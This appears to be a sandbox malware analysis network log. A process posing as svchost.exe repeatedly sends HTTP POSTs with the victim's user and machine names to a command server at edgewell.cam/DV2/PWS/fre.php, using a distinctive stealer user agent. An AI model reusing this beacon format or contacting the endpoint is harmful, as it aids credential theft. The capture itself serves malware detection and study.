May 27, 2024 02:57:52.737632036 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lCq3sIf%2FQDHisVqup0NgbskqOX4M2ScXCA10HS%2FFK03lccCvNxLJuEhV8kJ7IZEYoOBeFhAG17%2FP0p%2FbWZRXmlqvmO5BlrY3jKC%2FpKwUQDNtU%2Btass3f1%2BnuUdcI8OU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20da70a86c325-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49773	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:52.944506884 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:52.991462946 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:53.621182919 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=haBtvBd375xdxmNPZAK8Y8fDdMYlnGSU7j%2BUIw8zavr%2FOdoCIHRqW9HN1Z3D2tY15rnAHQ9mJm5B2CcUKkPXuZ29gPmzob9Ah32KTSAL%2FgYbJ2Q0l6Py1gSrkmeJHd4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dac8ee343f9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49774	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:53.803472996 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:53.852787971 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:54.612775087 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eX%2BVFvOLyIwMeOcpPJNssFQm6pWuoRV9lDGsDSdDm%2FB%2Fac%2FMS%2BRR87B37VEqiEes7aXlCNAEHPZ0K7Rd%2B7bf1EorJKkGbZybvDZs5p7%2F1dicfkgJJKy4uqvIVK79rdU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20db2c8450f73-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49775	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:54.770133972 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:54.820686102 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:55.466506004 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=48uBcHJ9Aqwu4SoHLg6Twt8PvmoDSoXEIx5KVT8fjhdLZqyooDqd3gf1PRgrqoCK4aNu%2FI66BKa9XrZjtSAWwK4MmlnGbsLbe49FSTClIwFNYIw0KY0mutMpLppIquA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20db7e9831931-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49776	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:55.635318995 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:55.684921026 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:56.310836077 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1aVt%2FGUs8HDRjjKTUzYBRot8UrajRgk22KjP0myetjSkaRyevp3UvOsXyJI5YafpqdgqHbgxiPScOFZOtnv4ghtwmdcJRkx6%2FOkxCO%2FrTZZ9Y2QmkoGke%2FglrhaHi9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dbd5b6e8c63-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49777	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:56.483967066 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:56.532691956 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:57.280860901 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YHCV7K2rWn5qzeCaDmATkdEqHi5Z3VD2mErgPpeVpGtjzKM%2Fycdu4R4QI2vn1U4nJoQq0AM8SjIRj2Y%2BnH%2FozRCX4qv%2F3CjC5CxMOTkz92ulEyREWG1sNTLqN38118U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dc36e4b41ef-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49778	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:57.446785927 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:57.496686935 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:58.121378899 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ahd4SLx0rlPRRaS%2B%2BaLBO4i285fcuGLbb2NIec6C5B4uF5kmnxsnNzXjO6uIAKSdeUKnwdZyVYcAzYyXPeq3rdKwoL30GEpnGaGiQwoB5gk%2FbMBmezvfV%2B85HGrDFQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dc8be018c99-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49779	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:58.296638966 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:58.348908901 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:58.971550941 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AzzAU9Mn7OlYCOkMGdVvE3NdnK2cteLIiTdgsSDdMOfaBnF%2FPYYwubUgWjrjgXc5tJR18lkZqMbFGPDJ71yreSKclcglMQ%2B2asV%2B6mmTW6kSqNc9e%2FKqEdeqT%2B%2Bkvoo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dcdeb3c1902-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49780	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:59.127367020 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:59.176888943 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:59.828756094 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CKaBSGpFvnvXhirFS5sIDzoTB7dXujbUz8%2B1U3ig1VjEi3g4BxhI%2Fx1qTB%2FtxCArx1w8WHWyvi2cdLB9qrqSbZnI1TZlLCpBgup3YEO6wsQpkLyOupHMZUBjEnHatcs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dd3392d4207-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49781	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:59.993911028 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:00.044909000 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:00.686615944 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nk1tqQQFa6gjr%2FM3dAHI4ilq293fx8bv0KowKqsQbzpUg6J1YNzLCdZ%2BFqpYFc4cocJRJB%2FC9qezCORDuCap4KmBlF7nc2PLEHBmVCymWSBB7kPvLRr2LuVKFQL%2BHk8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dd89bbd43f4-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49782	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:00.847332001 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:00.896893978 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:01.520950079 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dYIvYtk64P1Db%2BWW9PDHo96U%2FWomQzHWkZ6HnH0ggY0rh1CfnIjEvsmL2S8cvh3RUDtKbdjXWG%2BUFSwgdLTQqbe3IlwqmK0yGfw9gjoEjNkbeyS31C8%2B91KcsPND804%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ddddd2f43c2-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49783	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:01.718197107 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:01.951710939 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:02.642004967 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QYRxuA4HXgqi%2F96CNWa6HVmvy1%2FmSF39eeHKPQNsrwicCgEcoCBn0LBFFS0qCuXnkBq8mtBdCowNlBrM0YiQ4ebNDLIErahZ9GNlZw9HbT7uwjCaqg3oSTLCjmsBuXM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20de4dc3b72ad-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49784	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:02.822734118 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:02.872600079 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:03.528973103 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=71TPdx13kXWYW%2BikA1rHctEJrTFMtjD%2FMn23hytZoVnTegEO2ndXEw9ExP2AHQq0DEI0yNB3iaKH2%2BLb10NTVdYOB7ZwJXzFhngtS%2FzJMomHLpbe5HKBWXanpmIibhM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dea59c40f3e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49785	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:03.699908018 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:03.748639107 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:04.441762924 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LunkLcZTDXBYSnLjSXdDUx1spP3jhI9kmCOasGJbkcsxYetmDVtny68XxXD8yaZXYciVEjsPr3UQiq%2BDhGuRVBz7554je4tCSv%2FXGmdC%2BaxsXCx0ipmHpgrDf2hawcc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20defdf721a2c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49786	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:04.647547007 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:04.657346964 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:05.371351957 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQO%2FcFRUvDwubsUs%2FoiyMxHKYC%2BzZrlK73HeTtrnRKf2sSl%2Fvqtb7VzaaPlZ%2FU4KTFm854z%2BtHx%2F3AjVAYOZeTTn4RgXcfmJPapjemZGlwDiWls2iaCCzVvj8IyyKfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20df5afad0fa0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49787	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:05.571891069 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:05.620650053 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
